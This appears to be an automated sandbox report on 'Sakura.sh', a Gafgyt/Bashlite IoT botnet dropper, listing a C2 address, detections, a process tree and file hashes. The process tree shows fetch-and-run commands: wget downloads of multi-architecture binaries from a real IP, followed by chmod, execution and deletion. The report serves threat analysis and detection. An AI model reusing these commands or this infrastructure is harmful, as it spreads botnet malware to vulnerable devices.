Analysis

  • max time kernel
    18s
  • max time network
    26s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09/03/2025, 15:17

General

  • Target
    Sakura.sh
  • Size 2KB
  • Sample250309-sn2ksstps7
  • SHA256 6e2512f6f74cc6228d5925dda1324b5a81c7e70fa8505f1f4cee5140b1fc5380
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • gafgyt

C2
  • 205.185.115.242:12345

Signatures

  • Detected Gafgyt variant 11 IoCs
  • Gafgyt family
  • Gafgyt/Bashlite

    IoT botnet with numerous variants first seen in 2014.

  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 13 IoCs
  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/Sakura.sh
    /tmp/Sakura.sh
    1⤵
    • Executes dropped EXE
    PID:649
    • /usr/bin/wget
      wget http://45.135.194.28/m-i.p-s.Sakura
      2⤵
      • Writes file to tmp directory
      PID:652
    • /bin/chmod
      chmod +x m-i.p-s.Sakura
      2⤵
      • File and Directory Permissions Modification
      PID:661
    • /tmp/m-i.p-s.Sakura
      ./m-i.p-s.Sakura
      2⤵
        PID:664
      • /bin/rm
        rm -rf m-i.p-s.Sakura
        2⤵
          PID:668
        • /usr/bin/wget
          wget http://45.135.194.28/m-p.s-l.Sakura
          2⤵
          • Writes file to tmp directory
          PID:670
        • /bin/chmod
          chmod +x m-p.s-l.Sakura
          2⤵
          • File and Directory Permissions Modification
          PID:677
        • /tmp/m-p.s-l.Sakura
          ./m-p.s-l.Sakura
          2⤵
            PID:678
          • /bin/rm
            rm -rf m-p.s-l.Sakura
            2⤵
              PID:680
            • /usr/bin/wget
              wget http://45.135.194.28/s-h.4-.Sakura
              2⤵
              • Writes file to tmp directory
              PID:682
            • /bin/chmod
              chmod +x s-h.4-.Sakura
              2⤵
              • File and Directory Permissions Modification
              PID:685
            • /tmp/s-h.4-.Sakura
              ./s-h.4-.Sakura
              2⤵
                PID:686
              • /bin/rm
                rm -rf s-h.4-.Sakura
                2⤵
                  PID:689
                • /usr/bin/wget
                  wget http://45.135.194.28/x-8.6-.Sakura
                  2⤵
                  • Writes file to tmp directory
                  PID:691
                • /bin/chmod
                  chmod +x x-8.6-.Sakura
                  2⤵
                  • File and Directory Permissions Modification
                  PID:693
                • /tmp/x-8.6-.Sakura
                  ./x-8.6-.Sakura
                  2⤵
                    PID:694
                  • /bin/rm
                    rm -rf x-8.6-.Sakura
                    2⤵
                      PID:696
                    • /usr/bin/wget
                      wget http://45.135.194.28/a-r.m-6.Sakura
                      2⤵
                      • Writes file to tmp directory
                      PID:698
                    • /bin/chmod
                      chmod +x a-r.m-6.Sakura
                      2⤵
                      • File and Directory Permissions Modification
                      PID:699
                    • /tmp/a-r.m-6.Sakura
                      ./a-r.m-6.Sakura
                      2⤵
                        PID:700
                      • /bin/rm
                        rm -rf a-r.m-6.Sakura
                        2⤵
                          PID:701
                        • /usr/bin/wget
                          wget http://45.135.194.28/x-3.2-.Sakura
                          2⤵
                          • Writes file to tmp directory
                          PID:703
                        • /bin/chmod
                          chmod +x x-3.2-.Sakura
                          2⤵
                          • File and Directory Permissions Modification
                          PID:705
                        • /tmp/x-3.2-.Sakura
                          ./x-3.2-.Sakura
                          2⤵
                            PID:706
                          • /bin/rm
                            rm -rf x-3.2-.Sakura
                            2⤵
                              PID:708
                            • /usr/bin/wget
                              wget http://45.135.194.28/a-r.m-7.Sakura
                              2⤵
                              • Writes file to tmp directory
                              PID:709
                            • /bin/chmod
                              chmod +x a-r.m-7.Sakura
                              2⤵
                              • File and Directory Permissions Modification
                              PID:710
                            • /tmp/a-r.m-7.Sakura
                              ./a-r.m-7.Sakura
                              2⤵
                                PID:711
                              • /bin/rm
                                rm -rf a-r.m-7.Sakura
                                2⤵
                                  PID:713
                                • /usr/bin/wget
                                  wget http://45.135.194.28/p-p.c-.Sakura
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:715
                                • /bin/chmod
                                  chmod +x p-p.c-.Sakura
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:719
                                • /tmp/p-p.c-.Sakura
                                  ./p-p.c-.Sakura
                                  2⤵
                                    PID:720
                                  • /bin/rm
                                    rm -rf p-p.c-.Sakura
                                    2⤵
                                      PID:721
                                    • /usr/bin/wget
                                      wget http://45.135.194.28/i-5.8-6.Sakura
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:722
                                    • /bin/chmod
                                      chmod +x i-5.8-6.Sakura
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:726
                                    • /tmp/i-5.8-6.Sakura
                                      ./i-5.8-6.Sakura
                                      2⤵
                                        PID:728
                                      • /bin/rm
                                        rm -rf i-5.8-6.Sakura
                                        2⤵
                                          PID:731
                                        • /usr/bin/wget
                                          wget http://45.135.194.28/m-6.8-k.Sakura
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:732
                                        • /bin/chmod
                                          chmod +x m-6.8-k.Sakura
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:737
                                        • /tmp/m-6.8-k.Sakura
                                          ./m-6.8-k.Sakura
                                          2⤵
                                            PID:738
                                          • /bin/rm
                                            rm -rf m-6.8-k.Sakura
                                            2⤵
                                              PID:739
                                            • /usr/bin/wget
                                              wget http://45.135.194.28/p-p.c-.Sakura
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:741
                                            • /bin/chmod
                                              chmod +x p-p.c-.Sakura
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:745
                                            • /tmp/p-p.c-.Sakura
                                              ./p-p.c-.Sakura
                                              2⤵
                                                PID:746
                                              • /bin/rm
                                                rm -rf p-p.c-.Sakura
                                                2⤵
                                                  PID:747
                                                • /usr/bin/wget
                                                  wget http://45.135.194.28/a-r.m-4.Sakura
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:748
                                                • /bin/chmod
                                                  chmod +x a-r.m-4.Sakura
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:751
                                                • /tmp/a-r.m-4.Sakura
                                                  ./a-r.m-4.Sakura
                                                  2⤵
                                                    PID:753
                                                  • /bin/rm
                                                    rm -rf a-r.m-4.Sakura
                                                    2⤵
                                                      PID:754
                                                    • /usr/bin/wget
                                                      wget http://45.135.194.28/a-r.m-5.Sakura
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:755
                                                    • /bin/chmod
                                                      chmod +x a-r.m-5.Sakura
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:763
                                                    • /tmp/a-r.m-5.Sakura
                                                      ./a-r.m-5.Sakura
                                                      2⤵
                                                        PID:764
                                                      • /bin/rm
                                                        rm -rf a-r.m-5.Sakura
                                                        2⤵
                                                          PID:765

                                                      Network

                                                            MITRE ATT&CK Enterprise v15

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            a-r.m-5.Sakura

                                                            • Path /tmp/a-r.m-5.Sakura
                                                            • Size 99KB
                                                            • SHA256 8beaa53cafbe16efa74a6197ff61ba31a5c4917bb4d7fc08a617bb2f68ddadca
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            a-r.m-6.Sakura

                                                            • Path /tmp/a-r.m-6.Sakura
                                                            • Size 118KB
                                                            • SHA256 b8879c45463335061316f6ca8d318e0405ac5d099e973ba9fa92d17a6a618cd4
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            a-r.m-7.Sakura

                                                            • Path /tmp/a-r.m-7.Sakura
                                                            • Size 91KB
                                                            • SHA256 0827430f0fac66f032a6b7d7683520a53bcae922c0604d9fd2443d8985224d9d
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            i-5.8-6.Sakura

                                                            • Path /tmp/i-5.8-6.Sakura
                                                            • Size 96KB
                                                            • SHA256 becd8adb426f1b76dc3fc48adb19d7928cb007f6ae06fe857d468b86cf587d9d
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            m-6.8-k.Sakura

                                                            • Path /tmp/m-6.8-k.Sakura
                                                            • Size 157KB
                                                            • SHA256 14294bec7f615aefc954854c1ac6ceba550b8f5a654be3f9c05ad511f17bad0d
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            m-i.p-s.Sakura

                                                            • Path /tmp/m-i.p-s.Sakura
                                                            • Size 123KB
                                                            • SHA256 fc7c954dbcc44830d87599ce3d0be7ef947bd3b59ef1d3d22fef2d107a043f12
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            m-p.s-l.Sakura

                                                            • Path /tmp/m-p.s-l.Sakura
                                                            • Size 123KB
                                                            • SHA256 0d343654edf5f6082a5eaba1b7812f3ff4822a3fc9a0b0da312ac1bfb93e877b
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            p-p.c-.Sakura

                                                            • Path /tmp/p-p.c-.Sakura
                                                            • Size 106KB
                                                            • SHA256 782865aa08c1ad4ce7f360dc1d7bf32016515bd62f14fffc070f420046b38fac
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            s-h.4-.Sakura

                                                            • Path /tmp/s-h.4-.Sakura
                                                            • Size 86KB
                                                            • SHA256 ed326f0a7e07ee9cd9fc472d08b0d1b4b8bd08075eaa7b53a1c7a55c50dcfda4
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            x-3.2-.Sakura

                                                            • Path /tmp/x-3.2-.Sakura
                                                            • Size 83KB
                                                            • SHA256 d496b895b3fd172325ffc99764043fd07e3275eaa29ef1b5adf3e86a7e173c21
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            x-8.6-.Sakura

                                                            • Path /tmp/x-8.6-.Sakura
                                                            • Size 92KB
                                                            • SHA256 f310a921f4f8472f56e7d1cfea3dbf594e69015ff64f8c10b31caaaa15509ddb
                                                            • MD5 SHA1 SHA512 SSDEEP